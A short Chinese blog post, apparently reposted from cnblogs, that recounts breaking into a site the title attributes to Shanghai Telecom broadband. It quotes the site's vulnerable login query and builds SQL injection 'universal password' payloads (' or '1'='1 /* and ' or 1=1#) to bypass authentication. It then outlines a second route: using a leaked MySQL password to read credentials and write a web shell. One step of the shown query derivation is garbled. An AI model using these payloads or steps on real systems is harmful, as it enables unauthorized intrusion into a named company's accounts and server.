万能密码构造拿下上海电信宽带

=.=

文件爬了一下

发现如下

下载下来是网站的整站源码。

如此一来,轻松的多啦。

看308行

$sql="select * from cms_users where cms_username='$UserName' and cms_userpass='$PassWord'";

根据此sql构造万能密码

当$username=' or '1'='1 /* 

$password=hello world*/

时候该sql语句就为:"select * from cms_users where cms_username='1' or '1'='1 /* and cms_userpass='hello world*/'";

"select * from cms_users where cms_username='1' or '1'='/* and cms_userpass='hello world*/'";

"select * from cms_users where cms_username='1' or '1'='1'";

其实有一招,不知道大家想到木有。

$username=' or 1=1#

直接完美注释后面的语句。$password可以随便输入。

上面的是一个姿势,其实还有一个姿势同样可以拿下.

源码拿到了,有mysql密码了.可以外联,直接读取密码.找到可读写直接写shell

原文地址:https://www.cnblogs.com/xishaonian/p/6079762.html